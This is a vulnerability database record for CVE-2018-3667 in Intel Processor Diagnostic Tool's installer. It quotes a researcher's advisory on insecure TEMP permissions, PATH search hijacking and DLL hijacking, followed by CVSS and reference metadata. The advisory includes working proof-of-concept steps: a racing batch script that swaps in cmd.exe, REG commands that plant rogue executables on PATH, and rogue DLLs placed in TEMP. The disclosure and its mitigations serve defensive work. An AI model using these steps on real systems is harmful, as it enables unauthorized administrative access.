var-201807-1638
Vulnerability from variot
Installation tool IPDT (Intel Processor Diagnostic Tool) 4.1.0.24 sets permissions of installed files incorrectly, allowing for execution of arbitrary code and potential privilege escalation. Intel Processor Diagnostic Tool (IPDT) is a processor function diagnostic tool of Intel Corporation.
Intel published advisory SA-00140 https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00140.html on 2018-06-27 and updated installers on 2018-05-18.
The vulnerabilities can be exploited in standard installations of Windows where the user^WUAC-"protected administrator" account created during Windows setup is used, without elevation. This precondition holds for the majority of Windows installations: according to Microsoft's own security intelligence reports https://www.microsoft.com/security/sir, about 1/2 to 3/4 of the about 600 million Windows installations which send telemetry data have only ONE active user account.
1 Denial of service through insecure file permissions
======================================================
The downloadable executable installer (really: executable self-extractor built with WinZIP) IPDT_Installer_4.1.0.24.exe creates a subdirectory with random name in %TEMP%, copies itself into this subdirectory and then executes its copy.
The subdirectory inherits the NTFS ACLs from its parent %TEMP%, and so does the copy of the executable self-extractor.
For this well-known and well-documented vulnerability see https://cwe.mitre.org/data/definitions/377.html and https://cwe.mitre.org/data/definitions/379.html plus https://capec.mitre.org/data/definitions/29.html
Proof of concept/demonstration: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
download IPDT_Installer_4.1.0.24.exe (quite some clueless copycats still offer it, violating Intel's copyright; http://d.computerbild.de/downloads/7835763/IPDT_Installer_4.1.0.24.exe) and save it in your "Downloads" directory";
-
add the NTFS access control list entry (D;OIIO;WP;;;WD) meaning "deny execution of files in this directory for everyone, inheritable to files in all subdirectories" to the (user's) %TEMP% directory.
-
execute IPDT_Installer_4.1.024.exe: notice the complete failure of the executable installer^Wself-extractor, WITHOUT error message!
2 Escalation of privilege through insecure file permissions
============================================================
Although the (copy of the) executable self-extractor runs with administrative privileges (its embedded "application manifest" specifies 'requireAdministrator'), it extracts its payload, the REAL installers setup.exe and setup64.exe, plus the batch script setup.bat, UNPROTECTED into the user's %TEMP% directory, CD's into %TEMP% and finally executes the extracted batch script %TEMP%\setup.bat:
--- setup.bat --- echo off
ver | findstr 6.1.7600 if %errorlevel%==0 goto WinUnsup
ver | findstr 6.0.6001 if %errorlevel%==0 goto WinUnsup
if "%programfiles(x86)%XXX"=="XXX" goto 32BIT
:64BIT setup64.exe goto END
:32BIT setup.exe goto END
:WinUnsup echo Intel Processor Diagnostic Tool cannot be installed on this Operating System echo Please go to Online support page to view list of supported Oerating Systems
pause
:END exit 0 --- EOF ---
The extracted files inherit the NTFS ACLs from their parent %TEMP%, allowing "full access" for the unprivileged (owning) user, who can replace/overwrite the files between their creation and execution.
Proof of concept/demonstration: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
create the following batch script in an arbitrary directory:
--- IPDT.CMD --- :LOOP1 @If Not Exist "%TEMP%\setup.exe" Goto :LOOP1
Echo >"%TEMP%\setup.bat" WhoAMI.exe /all Echo >>"%TEMP%\setup.bat" Pause
:LOOP2 @If Not Exist "%TEMP%\setup64.exe" Goto :LOOP2
Copy /Y %COMSPEC% "%TEMP%\setup.exe"
:LOOP3 @Copy %COMSPEC% "%TEMP%\setup64.exe" @If ERRORLEVEL 1 Goto :LOOP3 --- EOF ---
NOTE: the batch script needs to win a race (which it almost always will, due to the size of the files extracted).
-
execute the batch script per double-click;
-
execute IPDT_Installer_4.1.024.exe per double-click: notice the command processor started instead one of the executable installers, running with administrative privileges.
3 Escalation of privilege through unsafe search path
=====================================================
In Windows Vista and newer versions, the current working directory can be removed from the executable search path: https://msdn.microsoft.com/en-us/library/ms684269.aspx
The batch script setup.bat calls setup.exe and setup64.exe without a path, so the command processor doesn't find the extracted setup.exe and setup64.exe in its CWD and searches them via %PATH%.
%PATH% is under full control of the unprivileged user, who can create rogue setup.exe and setup64.exe in an arbitrary directory he adds to the %PATH%, resulting again in arbitrary code execution with escalation of privilege.
For this well-known and well-documented vulnerability see https://cwe.mitre.org/data/definitions/426.html and https://cwe.mitre.org/data/definitions/427.html plus https://capec.mitre.org/data/definitions/471.html.
Proof of concept/demonstration: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
start an unprivileged command prompt in an arbitrary directory where the unprivileged user can create files, for example the user's "Downloads" directory;
-
add this (current working) directory to the user's PATH:
PATH %CD%;%PATH% REG.exe Add HKCU\Environment /V PATH /T REG_SZ /D "%CD%" /F
-
copy the command processor %COMSPEC% (or any rogue executable of your choice) as setup.exe and setup64.exe into the current (working) directory:
COPY %COMSPEC% "%CD%\setup.exe" COPY %COMSPEC% "%CD%\setup64.exe"
-
set the environment variable NoDefaultCurrentDirectoryInExePath to an arbitrary value:
SET NoDefaultCurrentDirectoryInExePath= REG.exe Add HKCU\Environment /V NoDefaultCurrentDirectoryInExePath /T REG_SZ /D "" /F
-
execute IPDT_Installer_4.1.024.exe per double-click: notice the command processor started instead of the extracted executable installers, running with administrative privileges.
4 Escalation of privilege through DLL search order hijacking
=============================================================
The extracted executable installers setup.exe and setup64.exe, built with the crapware known as InstallShield, load multiple Windows system DLLs from their "application directory" %TEMP% instead from Windows' "system directory" %SystemRoot%\System32\
To quote Raymond Chen https://blogs.msdn.microsoft.com/oldnewthing/20121031-00/?p=6203
| a rogue DLL in the TEMP directory is a trap waiting to be sprung.
An unprivileged attacker running in the same user account can copy rogue DLLs into %TEMP%; these are loaded and their DllMain() routine executed with administrative privileges, once more resulting in arbitrary code execution with escalation of privilege.
For this well-known and well-documented vulnerability see https://cwe.mitre.org/data/definitions/426.html and https://cwe.mitre.org/data/definitions/427.html plus https://capec.mitre.org/data/definitions/471.html.
Proof of concept/demonstration: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- follow the instructions from https://skanthak.homepage.t-online.de/minesweeper.html and build a minefield of forwarder DLLs in your %TEMP% directory;
NOTE: if you can't or don't want to build the minefield, download https://skanthak.homepage.t-online.de/download/SENTINEL.DLL and save it as UXTheme.dll, DWMAPI.dll, NTMARTA.dll and MSI.dll in your %TEMP% directory.
- execute IPDT_Installer_4.1.0.24.exe: notice the message boxes displayed from the DLLs built in step 1!
NOTE: on a fully patched Windows 7 SP1, setup64.exe loads at least the following 32-bit DLLs from %TEMP%: UXTheme.dll, Version.dll, NTMARTA.dll and MSI.dll
Due to its filename, setup.exe additionally loads WinMM.dll,
SAMCli.dll, MSACM32.dll, SFC.dll, SFC_OS.dll, DWMAPI.dll and
MPR.dll.
Fix:
-
DUMP all those forever vulnerable executable installers and self-extractors; provide an .MSI package or an .INF script plus a .CAB archive instead!
-
NEVER use an unqualified filename to execute/load an application or a DLL, ALWAYS specify their fully qualified pathname!
Mitigations:
-
DON'T execute executable self-extractors.
-
NEVER execute executable self-extractors with administrative privileges.
-
extract the payload of the self-extractor with a SAFE and SECURE unzip.exe into a properly protected directory.
-
exercise STRICT privilege separation: use separate unprivileged user accounts and privileged administrator account, DISABLE the "security theatre" UAC in the unprivileged user accounts.
stay tuned Stefan Kanthak
PS: the "portable executable" IPDT_Installer_4.1.024.exe has an export directory, but does NOT export any symbols: both the numbers of names and functions are 0, and the RVAs of the functions, names and ordinals arrays are 0 too.
Timeline:
2018-03-28 sent vulnerability report to secure@intel.com
no reply, not even an acknowledgement of receipt
2018-04-05 resent vulnerability report to secure@intel.com, CC: to CERT/CC
no reply, not even an acknowledgement of receipt
2018-05-03 resent vulnerability report via HackerOne
2018-05-04 Intel acknowledges receipt
2018-05-17 Intel confirms the reported vulnerabilities
2018-05-21 Intel publishes fixed installers, with a dangling reference to SA-00140 in the release notes, plus inaccuracies regarding the dependencies of IPDT
NO notification sent to me that fixes have been
published!
2018-06-05 sent report about the errors in the release notes after stumbling over the fixes
2018-06-12 Intel acknowledges the report regarding the notes
2018-06-27 Intel publishes their advisory SA-00140
AGAIN no notification sent that the advisory has
been published!
Intel's understanding of coordinated disclosure
looks rather weird to me
Show details on source website
{ "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" } }, "@id": "https://www.variotdbs.pl/vuln/VAR-201807-1638", "affected_products": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" }, "@id": "https://www.variotdbs.pl/ref/sources" } }, "data": [ { "model": "processor diagnostic tool", "scope": "eq", "trust": 2.4, "vendor": "intel", "version": "4.1.0.24" } ], "sources": [ { "db": "JVNDB", "id": "JVNDB-2018-008009" }, { "db": "CNNVD", "id": "CNNVD-201807-891" }, { "db": "NVD", "id": "CVE-2018-3667" } ] }, "configurations": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "children": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "data": { "@container": "@list" }, "nodes": { "@container": "@list" } }, "data": [ { "CVE_data_version": "4.0", "nodes": [ { "cpe_match": [ { "cpe22Uri": "cpe:/a:intel:processor_diagnostic_tool", "vulnerable": true } ], "operator": "OR" } ] } ], "sources": [ { "db": "JVNDB", "id": "JVNDB-2018-008009" } ] }, "credits": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "Stefan Kanthak", "sources": [ { "db": "PACKETSTORM", "id": "148423" } ], "trust": 0.1 }, "cve": "CVE-2018-3667", "cvss": { "@context": { "cvssV2": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" }, "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2" }, "cvssV3": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" }, "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/" }, "severity": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" }, "@id": "https://www.variotdbs.pl/ref/cvss/severity" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" }, "@id": "https://www.variotdbs.pl/ref/sources" } }, "data": [ { "cvssV2": [ { "accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "author": "nvd@nist.gov", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "exploitabilityScore": 3.9, "id": "CVE-2018-3667", "impactScore": 6.4, "integrityImpact": "PARTIAL", "severity": "MEDIUM", "trust": 1.8, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, { "accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "author": "VULHUB", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "exploitabilityScore": 3.9, "id": "VHN-133698", "impactScore": 6.4, "integrityImpact": "PARTIAL", "severity": "MEDIUM", "trust": 0.1, "vectorString": "AV:L/AC:L/AU:N/C:P/I:P/A:P", "version": "2.0" } ], "cvssV3": [ { "attackComplexity": "LOW", "attackVector": "LOCAL", "author": "nvd@nist.gov", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "exploitabilityScore": 1.8, "id": "CVE-2018-3667", "impactScore": 5.9, "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "trust": 1.8, "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" } ], "severity": [ { "author": "nvd@nist.gov", "id": "CVE-2018-3667", "trust": 1.0, "value": "HIGH" }, { "author": "NVD", "id": "CVE-2018-3667", "trust": 0.8, "value": "High" }, { "author": "CNNVD", "id": "CNNVD-201807-891", "trust": 0.6, "value": "HIGH" }, { "author": "VULHUB", "id": "VHN-133698", "trust": 0.1, "value": "MEDIUM" } ] } ], "sources": [ { "db": "VULHUB", "id": "VHN-133698" }, { "db": "JVNDB", "id": "JVNDB-2018-008009" }, { "db": "CNNVD", "id": "CNNVD-201807-891" }, { "db": "NVD", "id": "CVE-2018-3667" } ] }, "description": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "Installation tool IPDT (Intel Processor Diagnostic Tool) 4.1.0.24 sets permissions of installed files incorrectly, allowing for execution of arbitrary code and potential privilege escalation. Intel Processor Diagnostic Tool (IPDT) is a processor function diagnostic tool of Intel Corporation. \n\nIntel published advisory SA-00140\n\u003chttps://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00140.html\u003e\non 2018-06-27 and updated installers on 2018-05-18. \n\n\nThe vulnerabilities can be exploited in standard installations\nof Windows where the user^WUAC-\"protected administrator\" account\ncreated during Windows setup is used, without elevation. \nThis precondition holds for the majority of Windows installations:\naccording to Microsoft\u0027s own security intelligence reports\n\u003chttps://www.microsoft.com/security/sir\u003e, about 1/2 to 3/4 of the\nabout 600 million Windows installations which send telemetry data\nhave only ONE active user account. \n\n\n#1 Denial of service through insecure file permissions\n======================================================\n\n The downloadable executable installer (really: executable\n self-extractor built with WinZIP) IPDT_Installer_4.1.0.24.exe\n creates a subdirectory with random name in %TEMP%, copies\n itself into this subdirectory and then executes its copy. \n\n The subdirectory inherits the NTFS ACLs from its parent\n %TEMP%, and so does the copy of the executable self-extractor. \n\n For this well-known and well-documented vulnerability see\n \u003chttps://cwe.mitre.org/data/definitions/377.html\u003e and\n \u003chttps://cwe.mitre.org/data/definitions/379.html\u003e plus\n \u003chttps://capec.mitre.org/data/definitions/29.html\u003e\n\n\n Proof of concept/demonstration:\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n 1. download IPDT_Installer_4.1.0.24.exe (quite some clueless\n copycats still offer it, violating Intel\u0027s copyright;\n \u003chttp://d.computerbild.de/downloads/7835763/IPDT_Installer_4.1.0.24.exe\u003e)\n and save it in your \"Downloads\" directory\";\n\n 2. add the NTFS access control list entry (D;OIIO;WP;;;WD)\n meaning \"deny execution of files in this directory for\n everyone, inheritable to files in all subdirectories\"\n to the (user\u0027s) %TEMP% directory. \n\n 3. execute IPDT_Installer_4.1.024.exe: notice the complete\n failure of the executable installer^Wself-extractor,\n WITHOUT error message!\n\n\n#2 Escalation of privilege through insecure file permissions\n============================================================\n\n Although the (copy of the) executable self-extractor runs with\n administrative privileges (its embedded \"application manifest\"\n specifies \u0027requireAdministrator\u0027), it extracts its payload, the\n REAL installers setup.exe and setup64.exe, plus the batch script\n setup.bat, UNPROTECTED into the user\u0027s %TEMP% directory, CD\u0027s\n into %TEMP% and finally executes the extracted batch script\n %TEMP%\\setup.bat:\n\n --- setup.bat ---\n echo off\n\n ver | findstr 6.1.7600\n if %errorlevel%==0 goto WinUnsup\n\n ver | findstr 6.0.6001\n if %errorlevel%==0 goto WinUnsup\n\n if \"%programfiles(x86)%XXX\"==\"XXX\" goto 32BIT\n\n :64BIT\n setup64.exe\n goto END\n\n :32BIT\n setup.exe\n goto END\n\n :WinUnsup\n echo Intel Processor Diagnostic Tool cannot be installed on this Operating System\n echo Please go to Online support page to view list of supported Oerating Systems\n\n pause\n\n :END\n exit 0\n --- EOF ---\n\n The extracted files inherit the NTFS ACLs from their parent\n %TEMP%, allowing \"full access\" for the unprivileged (owning)\n user, who can replace/overwrite the files between their creation\n and execution. \n\n\n Proof of concept/demonstration:\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n 1. create the following batch script in an arbitrary directory:\n\n --- IPDT.CMD ---\n :LOOP1\n @If Not Exist \"%TEMP%\\setup.exe\" Goto :LOOP1\n\n Echo \u003e\"%TEMP%\\setup.bat\" WhoAMI.exe /all\n Echo \u003e\u003e\"%TEMP%\\setup.bat\" Pause\n\n :LOOP2\n @If Not Exist \"%TEMP%\\setup64.exe\" Goto :LOOP2\n\n Copy /Y %COMSPEC% \"%TEMP%\\setup.exe\"\n\n :LOOP3\n @Copy %COMSPEC% \"%TEMP%\\setup64.exe\"\n @If ERRORLEVEL 1 Goto :LOOP3\n --- EOF ---\n\n NOTE: the batch script needs to win a race (which it almost\n always will, due to the size of the files extracted). \n\n 2. execute the batch script per double-click;\n\n 3. execute IPDT_Installer_4.1.024.exe per double-click: notice\n the command processor started instead one of the executable\n installers, running with administrative privileges. \n\n\n#3 Escalation of privilege through unsafe search path\n=====================================================\n\n In Windows Vista and newer versions, the current working\n directory can be removed from the executable search path:\n \u003chttps://msdn.microsoft.com/en-us/library/ms684269.aspx\u003e\n\n The batch script setup.bat calls setup.exe and setup64.exe\n without a path, so the command processor doesn\u0027t find the\n extracted setup.exe and setup64.exe in its CWD and searches\n them via %PATH%. \n\n %PATH% is under full control of the unprivileged user, who\n can create rogue setup.exe and setup64.exe in an arbitrary\n directory he adds to the %PATH%, resulting again in arbitrary\n code execution with escalation of privilege. \n\n For this well-known and well-documented vulnerability see\n \u003chttps://cwe.mitre.org/data/definitions/426.html\u003e and\n \u003chttps://cwe.mitre.org/data/definitions/427.html\u003e plus\n \u003chttps://capec.mitre.org/data/definitions/471.html\u003e. \n\n\n Proof of concept/demonstration:\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n 1. start an unprivileged command prompt in an arbitrary\n directory where the unprivileged user can create files,\n for example the user\u0027s \"Downloads\" directory;\n\n 2. add this (current working) directory to the user\u0027s PATH:\n\n PATH %CD%;%PATH%\n REG.exe Add HKCU\\Environment /V PATH /T REG_SZ /D \"%CD%\" /F\n\n 3. copy the command processor %COMSPEC% (or any rogue executable\n of your choice) as setup.exe and setup64.exe into the current\n (working) directory:\n\n COPY %COMSPEC% \"%CD%\\setup.exe\"\n COPY %COMSPEC% \"%CD%\\setup64.exe\"\n\n 4. set the environment variable NoDefaultCurrentDirectoryInExePath\n to an arbitrary value:\n\n SET NoDefaultCurrentDirectoryInExePath=*\n REG.exe Add HKCU\\Environment /V NoDefaultCurrentDirectoryInExePath /T REG_SZ /D \"*\" /F\n\n 5. execute IPDT_Installer_4.1.024.exe per double-click: notice\n the command processor started instead of the extracted\n executable installers, running with administrative privileges. \n\n\n#4 Escalation of privilege through DLL search order hijacking\n=============================================================\n\n The extracted executable installers setup.exe and setup64.exe,\n built with the crapware known as InstallShield, load multiple\n Windows system DLLs from their \"application directory\" %TEMP%\n instead from Windows\u0027 \"system directory\" %SystemRoot%\\System32\\\n\n To quote Raymond Chen\n \u003chttps://blogs.msdn.microsoft.com/oldnewthing/20121031-00/?p=6203\u003e\n\n | a rogue DLL in the TEMP directory is a trap waiting to be sprung. \n\n An unprivileged attacker running in the same user account can\n copy rogue DLLs into %TEMP%; these are loaded and their DllMain()\n routine executed with administrative privileges, once more\n resulting in arbitrary code execution with escalation of privilege. \n\n For this well-known and well-documented vulnerability see\n \u003chttps://cwe.mitre.org/data/definitions/426.html\u003e and\n \u003chttps://cwe.mitre.org/data/definitions/427.html\u003e plus\n \u003chttps://capec.mitre.org/data/definitions/471.html\u003e. \n\n\n Proof of concept/demonstration:\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n 1. follow the instructions from\n \u003chttps://skanthak.homepage.t-online.de/minesweeper.html\u003e\n and build a minefield of forwarder DLLs in your %TEMP%\n directory;\n\n NOTE: if you can\u0027t or don\u0027t want to build the minefield, download\n \u003chttps://skanthak.homepage.t-online.de/download/SENTINEL.DLL\u003e\n and save it as UXTheme.dll, DWMAPI.dll, NTMARTA.dll and\n MSI.dll in your %TEMP% directory. \n\n 2. execute IPDT_Installer_4.1.0.24.exe: notice the message boxes\n displayed from the DLLs built in step 1!\n\n NOTE: on a fully patched Windows 7 SP1, setup64.exe loads at\n least the following 32-bit DLLs from %TEMP%:\n UXTheme.dll, Version.dll, NTMARTA.dll and MSI.dll\n\n Due to its filename, setup.exe additionally loads WinMM.dll,\n SAMCli.dll, MSACM32.dll, SFC.dll, SFC_OS.dll, DWMAPI.dll and\n MPR.dll. \n\n\nFix:\n====\n\n1. DUMP all those forever vulnerable executable installers and\n self-extractors; provide an .MSI package or an .INF script plus\n a .CAB archive instead!\n\n2. NEVER use an unqualified filename to execute/load an application\n or a DLL, ALWAYS specify their fully qualified pathname!\n\n\nMitigations:\n============\n\n1. DON\u0027T execute executable self-extractors. \n\n2. NEVER execute executable self-extractors with administrative\n privileges. \n\n3. extract the payload of the self-extractor with a SAFE and SECURE\n unzip.exe into a properly protected directory. \n\n4. exercise STRICT privilege separation: use separate unprivileged\n user accounts and privileged administrator account, DISABLE the\n \"security theatre\" UAC in the unprivileged user accounts. \n\n\nstay tuned\nStefan Kanthak\n\n\nPS: the \"portable executable\" IPDT_Installer_4.1.024.exe has an\n export directory, but does NOT export any symbols: both the\n numbers of names and functions are 0, and the RVAs of the\n functions, names and ordinals arrays are 0 too. \n\n\nTimeline:\n=========\n\n2018-03-28 sent vulnerability report to \u003csecure@intel.com\u003e\n\n no reply, not even an acknowledgement of receipt\n\n2018-04-05 resent vulnerability report to \u003csecure@intel.com\u003e,\n CC: to CERT/CC\n\n no reply, not even an acknowledgement of receipt\n\n2018-05-03 resent vulnerability report via HackerOne\n\n2018-05-04 Intel acknowledges receipt\n\n2018-05-17 Intel confirms the reported vulnerabilities\n\n2018-05-21 Intel publishes fixed installers, with a dangling\n reference to SA-00140 in the release notes, plus\n inaccuracies regarding the dependencies of IPDT\n\n NO notification sent to me that fixes have been\n published!\n\n2018-06-05 sent report about the errors in the release notes\n after stumbling over the fixes\n\n2018-06-12 Intel acknowledges the report regarding the notes\n\n2018-06-27 Intel publishes their advisory SA-00140\n\n AGAIN no notification sent that the advisory has\n been published!\n Intel\u0027s understanding of coordinated disclosure\n looks rather weird to me", "sources": [ { "db": "NVD", "id": "CVE-2018-3667" }, { "db": "JVNDB", "id": "JVNDB-2018-008009" }, { "db": "VULHUB", "id": "VHN-133698" }, { "db": "PACKETSTORM", "id": "148423" } ], "trust": 1.8 }, "exploit_availability": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "reference": "https://www.scap.org.cn/vuln/vhn-133698", "trust": 0.1, "type": "unknown" } ], "sources": [ { "db": "VULHUB", "id": "VHN-133698" } ] }, "external_ids": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "db": "NVD", "id": "CVE-2018-3667", "trust": 2.6 }, { "db": "JVNDB", "id": "JVNDB-2018-008009", "trust": 0.8 }, { "db": "CNNVD", "id": "CNNVD-201807-891", "trust": 0.7 }, { "db": "PACKETSTORM", "id": "148423", "trust": 0.2 }, { "db": "VULHUB", "id": "VHN-133698", "trust": 0.1 } ], "sources": [ { "db": "VULHUB", "id": "VHN-133698" }, { "db": "JVNDB", "id": "JVNDB-2018-008009" }, { "db": "PACKETSTORM", "id": "148423" }, { "db": "CNNVD", "id": "CNNVD-201807-891" }, { "db": "NVD", "id": "CVE-2018-3667" } ] }, "id": "VAR-201807-1638", "iot": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": true, "sources": [ { "db": "VULHUB", "id": "VHN-133698" } ], "trust": 0.01 }, "last_update_date": "2024-11-23T21:52:57.370000Z", "patch": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "title": "INTEL-SA-00140", "trust": 0.8, "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00140.html" }, { "title": "Intel Processor Diagnostic Tool Security vulnerabilities", "trust": 0.6, "url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=81954" } ], "sources": [ { "db": "JVNDB", "id": "JVNDB-2018-008009" }, { "db": "CNNVD", "id": "CNNVD-201807-891" } ] }, "problemtype_data": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "problemtype": "CWE-1188", "trust": 1.0 }, { "problemtype": "CWE-264", "trust": 0.9 } ], "sources": [ { "db": "VULHUB", "id": "VHN-133698" }, { "db": "JVNDB", "id": "JVNDB-2018-008009" }, { "db": "NVD", "id": "CVE-2018-3667" } ] }, "references": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "trust": 1.7, "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00140.html" }, { "trust": 0.9, "url": "https://nvd.nist.gov/vuln/detail/cve-2018-3667" }, { "trust": 0.8, "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-3667" }, { "trust": 0.1, "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00140.html\u003e" }, { "trust": 0.1, "url": "https://blogs.msdn.microsoft.com/oldnewthing/20121031-00/?p=6203\u003e" }, { "trust": 0.1, "url": "https://cwe.mitre.org/data/definitions/427.html\u003e" }, { "trust": 0.1, "url": "https://cwe.mitre.org/data/definitions/379.html\u003e" }, { "trust": 0.1, "url": "https://www.microsoft.com/security/sir\u003e," }, { "trust": 0.1, "url": "https://capec.mitre.org/data/definitions/29.html\u003e" }, { "trust": 0.1, "url": "https://cwe.mitre.org/data/definitions/377.html\u003e" }, { "trust": 0.1, "url": "https://msdn.microsoft.com/en-us/library/ms684269.aspx\u003e" }, { "trust": 0.1, "url": "http://d.computerbild.de/downloads/7835763/ipdt_installer_4.1.0.24.exe\u003e)" }, { "trust": 0.1, "url": "https://capec.mitre.org/data/definitions/471.html\u003e." }, { "trust": 0.1, "url": "https://cwe.mitre.org/data/definitions/426.html\u003e" }, { "trust": 0.1, "url": "https://skanthak.homepage.t-online.de/download/sentinel.dll\u003e" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2018-3668" }, { "trust": 0.1, "url": "https://skanthak.homepage.t-online.de/minesweeper.html\u003e" } ], "sources": [ { "db": "VULHUB", "id": "VHN-133698" }, { "db": "JVNDB", "id": "JVNDB-2018-008009" }, { "db": "PACKETSTORM", "id": "148423" }, { "db": "CNNVD", "id": "CNNVD-201807-891" }, { "db": "NVD", "id": "CVE-2018-3667" } ] }, "sources": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } }, "data": [ { "db": "VULHUB", "id": "VHN-133698" }, { "db": "JVNDB", "id": "JVNDB-2018-008009" }, { "db": "PACKETSTORM", "id": "148423" }, { "db": "CNNVD", "id": "CNNVD-201807-891" }, { "db": "NVD", "id": "CVE-2018-3667" } ] }, "sources_release_date": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } }, "data": [ { "date": "2018-07-10T00:00:00", "db": "VULHUB", "id": "VHN-133698" }, { "date": "2018-10-05T00:00:00", "db": "JVNDB", "id": "JVNDB-2018-008009" }, { "date": "2018-07-04T20:22:22", "db": "PACKETSTORM", "id": "148423" }, { "date": "2018-07-10T00:00:00", "db": "CNNVD", "id": "CNNVD-201807-891" }, { "date": "2018-07-10T21:29:01.013000", "db": "NVD", "id": "CVE-2018-3667" } ] }, "sources_update_date": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } }, "data": [ { "date": "2019-10-03T00:00:00", "db": "VULHUB", "id": "VHN-133698" }, { "date": "2018-10-05T00:00:00", "db": "JVNDB", "id": "JVNDB-2018-008009" }, { "date": "2019-10-23T00:00:00", "db": "CNNVD", "id": "CNNVD-201807-891" }, { "date": "2024-11-21T04:05:52.060000", "db": "NVD", "id": "CVE-2018-3667" } ] }, "threat_type": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "local", "sources": [ { "db": "CNNVD", "id": "CNNVD-201807-891" } ], "trust": 0.6 }, "title": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "Installation tool IPDT 